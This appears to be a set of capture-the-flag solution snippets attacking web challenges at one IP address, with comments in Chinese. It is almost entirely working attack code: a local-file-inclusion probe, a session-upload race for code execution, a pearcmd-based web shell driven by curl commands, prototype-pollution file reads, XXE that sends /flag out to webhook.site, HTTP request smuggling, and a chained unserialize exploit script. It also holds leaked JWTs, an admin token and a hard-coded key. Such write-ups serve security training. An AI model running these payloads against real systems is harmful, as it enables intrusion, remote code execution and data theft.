1
import requests
2

3
BASE_URL = "http://114.66.24.210:35787/include.php"
4
PARAM = "file"
5

6
tests = {
7
    "/etc/passwd": ["root:x:0:0", "/bin/bash"],
8
    "/etc/hosts": ["127.0.0.1", "localhost"],
9
}
10

11
for path, signs in tests.items():
12
    r = requests.get(BASE_URL, params={PARAM: path}, timeout=8)
13
    text = r.text
14

15
    hit = any(s in text for s in signs)
16

17
    print(f"\n[+] test: {path}")
18
    print(f"status: {r.status_code}, length: {len(text)}")
19
    print("result:", "可能存在任意文件读取" if hit else "未发现明显特征")
20
    print(text[:300])

1
<?php echo shell_exec('ls -la /');?>

1
<?php echo file_get_contents('/flag');?>

1
import requests
2
import threading
3
import time
4
import random
5

6
TARGET = "http://114.66.24.210:48235"
7

8
sess_id = "hack" + str(random.randint(10000, 99999))
9
php_code = "<?php echo file_get_contents('/flag');?>"
10

11
found = threading.Event()
12
result = [None]
13

14
def uploader():
15
    while not found.is_set():
16
        try:
17
            files = {"file": ("x.txt", b"Hello", "text/plain")}
18
            data = {"PHP_SESSION_UPLOAD_PROGRESS": php_code}
19
            requests.post(f"{TARGET}/upload.php", files=files, data=data,
20
                         cookies={"PHPSESSID": sess_id}, timeout=5)
21
        except:
22
            pass
23

24
def lfi_checker():
25
    while not found.is_set():
26
        try:
27
            r = requests.get(f"{TARGET}/include.php?file=/tmp/sess_{sess_id}",
28
                           cookies={"PHPSESSID": sess_id}, timeout=5)
29
            if "upload_progress_" in r.text:
30
                result[0] = r.text
31
                found.set()
32
                return
33
        except:
34
            pass
35
        time.sleep(0.002)
36

37
# 启动多个上传线程 + LFI 检查线程
38
for _ in range(20):
39
    threading.Thread(target=uploader, daemon=True).start()
40
threading.Thread(target=lfi_checker, daemon=True).start()
41

42
found.wait(timeout=8)
43

44
# 从响应中提取 flag
45
idx = result[0].find('upload_progress_')
46
print(result[0][idx:idx+200])

1
curl 'http://114.66.24.210:46347/?file=pearcmd.php&+config-create+/<?=system(end(getallheaders()))?>+/tmp/sh.php'

1
curl -s -H "ZZ: cat /**var/www/html/index.php**" "http://114.66.24.210:46347/?file=/tmp/sh.php"

1
curl -s -H "ZZ: id" "http://114.66.24.210:46347/?file=/tmp/sh.php"

1
curl -s -H "ZZ: find / -name flag* -type f" "http://114.66.24.210:46347/?file=/tmp/sh.php"

1
curl -s -H "ZZ: cat /flag" "http://114.66.24.210:46347/?file=/tmp/sh.php"

1
"__proto__":{"escapeFunction":"function(s){try{var f=require(\"fs\").readFileSync(\"/app/app.js\",\"utf8\");out.push(f)}catch(e){}return s}"},

1
{"__proto__":{"escapeFunction":"function(s){try{out.push(require(\"fs\").readdirSync(\"/\").join(\",\"))}catch(e){}return s}"}

1
flag{d1f8e773-45d0-4214-a6e4-fbfaae0f8c26}

1
GET /shell.php\x0a HTTP/1.1\r\n
2
Host: 114.66.24.210:38166\r\n
3
Connection: close\r\n

1
import socket
2

3
host = "114.66.24.210"
4
port = 38166
5

6
req = (
7
    b"GET /shell.php\n HTTP/1.1\r\n"
8
    b"Host: 114.66.24.210:38166\r\n"
9
    b"Connection: close\r\n"
10
    b"\r\n"
11
)
12

13
s = socket.create_connection((host, port), timeout=5)
14
s.sendall(req)
15

16
resp = b""
17
while True:
18
    chunk = s.recv(4096)
19
    if not chunk:
20
        break
21
    resp += chunk
22

23
s.close()
24
print(resp.decode("latin1", errors="replace"))

1
Start::__destruct()
2
  -> echo $arg
3
  -> Middle::__toString()
4
  -> Gate::__get()
5
  -> Shell::__invoke()
6
  -> new $cla($data, $opt1, $opt2)

1
new SimpleXMLElement($xml, 6, false);

1
<!DOCTYPE r [
2
  <!ENTITY % remote SYSTEM "http://webhook.site/<DTD_TOKEN>">
3
  %remote;
4
]>
5
<r>ok</r>

1
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
2
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://webhook.site/<EXFIL_TOKEN>/?x=%file;'>">
3
%eval;
4
%exfil;

1
POST / HTTP/1.1
2
Host: 114.66.24.210:38166
3
Content-Length: <len>
4
Transfer-Encoding: chunked
5
Connection: keep-alive
6

7
0
8

9
GET /shell.php?data=<urlencoded payload> HTTP/1.1
10
Host: 114.66.24.210:38166
11
Connection: keep-alive

1
GET / HTTP/1.1
2
Host: 114.66.24.210:38166
3
Connection: close

1
import argparse
2
import base64
3
import hashlib
4
import re
5
import socket
6
import time
7
import urllib.parse
8

9
import requests
10

11
COLLISION_A = bytes.fromhex(
12
    "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518"
13
    "afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
14
)
15
COLLISION_B = bytes.fromhex(
16
    "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518"
17
    "afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
18
)
19

20
def read_one_response(sock: socket.socket, timeout: float = 8.0) -> bytes:
21
    buf = b""
22
    sock.settimeout(timeout)
23
    while True:
24
        try:
25
            chunk = sock.recv(4096)
26
            if not chunk:
27
                break
28
            buf += chunk
29
            if b"\r\n\r\n" in buf:
30
                head, rest = buf.split(b"\r\n\r\n", 1)
31
                match = re.search(br"Content-Length:\s*(\d+)", head, re.I)
32
                if match and len(rest) >= int(match.group(1)):
33
                    break
34
        except socket.timeout:
35
            break
36
    return buf
37

38
def read_until_timeout(sock: socket.socket, timeout: float = 5.0) -> bytes:
39
    buf = b""
40
    sock.settimeout(timeout)
41
    while True:
42
        try:
43
            chunk = sock.recv(4096)
44
            if not chunk:
45
                break
46
            buf += chunk
47
        except socket.timeout:
48
            break
49
    return buf
50

51
def make_webhook_pair() -> tuple[str, str]:
52
    exfil_token = requests.post("https://webhook.site/token", timeout=15).json()["uuid"]
53
    dtd_body = (
54
        '<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">\n'
55
        + "<!ENTITY % eval \"<!ENTITY &#x25; exfil SYSTEM 'http://webhook.site/"
56
        + exfil_token
57
        + "/?x=%file;'>\">\n"
58
        + "%eval;\n%exfil;"
59
    )
60
    dtd_token = requests.post(
61
        "https://webhook.site/token",
62
        data={
63
            "default_content": dtd_body,
64
            "default_content_type": "application/xml-dtd",
65
        },
66
        timeout=15,
67
    ).json()["uuid"]
68
    return exfil_token, dtd_token
69

70
def build_payload(dtd_token: str) -> bytes:
71
    xml = (
72
        '<!DOCTYPE r [<!ENTITY % remote SYSTEM "http://webhook.site/'
73
        + dtd_token
74
        + '">%remote;]><r>ok</r>'
75
    )
76
    parts = []
77
    parts.append(b'O:5:"Start":1:{s:3:"arg";')
78
    parts.append(b'O:6:"Middle":1:{s:6:"target";')
79
    parts.append(b'O:4:"Gate":4:{')
80
    parts.append(b's:1:"a";s:64:"' + COLLISION_A + b'";')
81
    parts.append(b's:1:"b";s:64:"' + COLLISION_B + b'";')
82
    parts.append(b's:4:"func";O:5:"Shell":4:{')
83
    parts.append(b's:3:"cla";s:16:"SimpleXMLElement";')
84
    parts.append(b's:4:"data";s:' + str(len(xml)).encode() + b':"' + xml.encode() + b'";')
85
    parts.append(b's:4:"opt1";i:6;')
86
    parts.append(b's:4:"opt2";b:0;}')
87
    parts.append(b's:3:"var";s:' + str(len(xml)).encode() + b':"' + xml.encode() + b'";')
88
    parts.append(b"}}}")
89
    return b"".join(parts)
90

91
def smuggle(host: str, port: int, payload: bytes) -> bytes:
92
    path = "/shell.php?data=" + urllib.parse.quote_from_bytes(payload, safe="")
93
    smuggled = (
94
        f"GET {path} HTTP/1.1\r\n"
95
        f"Host: {host}:{port}\r\n"
96
        "Connection: keep-alive\r\n\r\n"
97
    ).encode()
98
    body = b"0\r\n\r\n" + smuggled
99
    poison = (
100
        f"POST / HTTP/1.1\r\n"
101
        f"Host: {host}:{port}\r\n"
102
        f"Content-Length: {len(body)}\r\n"
103
        "Transfer-Encoding: chunked\r\n"
104
        "Connection: keep-alive\r\n\r\n"
105
    ).encode() + body
106
    victim = (
107
        f"GET / HTTP/1.1\r\n"
108
        f"Host: {host}:{port}\r\n"
109
        "Connection: close\r\n\r\n"
110
    ).encode()
111

112
    with socket.create_connection((host, port), timeout=8) as sock:
113
        sock.sendall(poison)
114
        read_one_response(sock, timeout=8)
115
        sock.sendall(victim)
116
        return read_until_timeout(sock, timeout=5)
117

118
def poll_flag(exfil_token: str, max_wait: int = 30) -> str | None:
119
    deadline = time.time() + max_wait
120
    while time.time() < deadline:
121
        items = requests.get(
122
            f"https://webhook.site/token/{exfil_token}/requests", timeout=10
123
        ).json()["data"]
124
        for item in items:
125
            query = item.get("query") or {}
126
            encoded = query.get("x")
127
            if not encoded:
128
                continue
129
            try:
130
                return base64.b64decode(encoded).decode()
131
            except Exception:
132
                return encoded
133
        time.sleep(2)
134
    return None
135

136
def main() -> None:
137
    parser = argparse.ArgumentParser(description="legacy-edge + PHP unserialize final exploit")
138
    parser.add_argument("--host", default="114.66.24.210")
139
    parser.add_argument("--port", type=int, default=39482)
140
    parser.add_argument("--max-wait", type=int, default=30)
141
    args = parser.parse_args()
142

143
    assert COLLISION_A != COLLISION_B
144
    assert hashlib.md5(COLLISION_A).hexdigest() == hashlib.md5(COLLISION_B).hexdigest()
145

146
    exfil_token, dtd_token = make_webhook_pair()
147
    print(f"[+] exfil token: {exfil_token}")
148
    print(f"[+] dtd token:   {dtd_token}")
149

150
    payload = build_payload(dtd_token)
151
    print(f"[+] payload bytes: {len(payload)}")
152

153
    response = smuggle(args.host, args.port, payload)
154
    if response:
155
        preview = response.decode("latin1", errors="replace")[:600]
156
        print("[+] smuggled response preview:")
157
        print(preview)
158
    else:
159
        print("[*] no inline response, waiting for OOB exfiltration")
160

161
    flag = poll_flag(exfil_token, max_wait=args.max_wait)
162
    if not flag:
163
        print("[-] flag not received")
164
        raise SystemExit(1)
165

166
    print(f"[+] flag: {flag}")
167

168
if __name__ == "__main__":
169
    main()

1
flag{83952a35-3f00-4b19-bde2-e751dcbdb865}

1
// 硬编码的 AES 密钥
2
const AES_KEY  = "4d616e42614f61506f7274616c4b6579"  // → "ManBaOaPortalKey"
3
const AES_IV   = "506f7274616c52656672657368303121"   // → "PortalRefresh01!"
4

5
// API 基础路径
6
const API_BASE = "/api"
7

8
// 通用 API 调用函数（带 Bearer Token）
9
async function apiCall(path, options = {}) {
10
  const token = getToken()
11
  const headers = {
12
    "Content-Type": "application/json",
13
    ...(token ? { Authorization: `Bearer ${token}` } : {}),
14
    ...options.headers
15
  }
16
  const res = await fetch(`${API_BASE}${path}`, { ...options, headers })
17
  if (!res.ok) throw Error(...)
18
  return res.json()
19
}

1
/api/v2/identity/profile/self
2
/api/v2/portal/context/refresh-sync
3
/api/v2/platform/runtime/diagnostic-task
4
/api/v2/workflow/my-application/list

1
{
2
  "code": 0,
3
  "data": {
4
    "items": [
5
      {
6
        "applyId": "WF-20260527-0192",
7
        "employeeName": "林实习",
8
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDA3IiwidXNlcm5hbWUiOiJpbnRlcm4ubGluIiwicm9sZSI6ImludGVybiIsImRlcHQiOiLnu7zlkIjnrqHnkIbpg6giLCJwdXJwb3NlIjoid29ya2Zsb3ctYXBwbHktY2FjaGUiLCJpYXQiOjE3ODA4MTA3ODY4MTZ9.EF6GK-hAhSjAoAB9x99v1knkc8_rr1Q4XjuWZDJ7alI",
9
        "memo": "cacheProjection=portal-refresh"
10
      },
11
      {
12
        "applyId": "WF-20260527-0184",
13
        "employeeName": "陈专员",
14
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDEyIiwidXNlcm5hbWUiOiJzdGFmZi5jaGVuIiwicm9sZSI6ImVtcGxveWVlIiwiZGVwdCI6Iui0ouWKoeWFseS6q-S4reW_gyIsInB1cnBvc2UiOiJ3b3JrZmxvdy1hcHBseS1jYWNoZSIsImlhdCI6MTc4MDgxMDc4NjkxMH0.5psN90nT778NQd0O1TvmENjAHn0te3-Rwl1kapYBs-o",
15
        "memo": "cacheProjection=approval-surface"
16
      }
17
    ]
18
  }
19
}

1
{
2
  "sub": "0007",
3
  "username": "intern.lin",
4
  "role": "intern",
5
  "dept": "综合管理部",
6
  "purpose": "workflow-apply-cache"
7
}

1
{
2
  "sub": "0012",
3
  "username": "staff.chen",
4
  "role": "employee",
5
  "dept": "财务共享中心",
6
  "purpose": "workflow-apply-cache"
7
}

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDAxIiwidXNlcm5hbWUiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJkZXB0Ijoi5bmz5Y-w5rK755CG5Lit5b-DIiwicHVycG9zZSI6InBvcnRhbC1jb250ZXh0LXJlZnJlc2giLCJpYXQiOjE3ODA4MTE3NTEyMTR9.ZjutYsKaGuR3aGEB6ZJA4WhmFA9GHAj_oBLe2WLTU4c

1
const { exec } = require("child_process");
2

3
function handleDiagnostic(req, body) {
4
  const auth = requireSession(req);
5
  if (auth.user.role !== "admin") {
6
    return { statusCode: 403, body: { code: 403, message: "admin token required" } };
7
  }
8
  const cmd = String(body.cmd || "").trim();
9
  exec(cmd, { shell: "/bin/bash", timeout: 15000 }, (error, stdout, stderr) => {
10
    resolve({ body: { data: { command: cmd, stdout, stderr, exitCode } } });
11
  });
12
}

1
const disguisedCollections = {
2
  dbName: "ops_runtime",
3
  collectionName: "system_notice_templates"
4
};

1
grep -i flag /var/log/mongodb/mongod.stdout.log

1
flag{840691c2-36da-4c7d-83cc-8fdf9513f86c}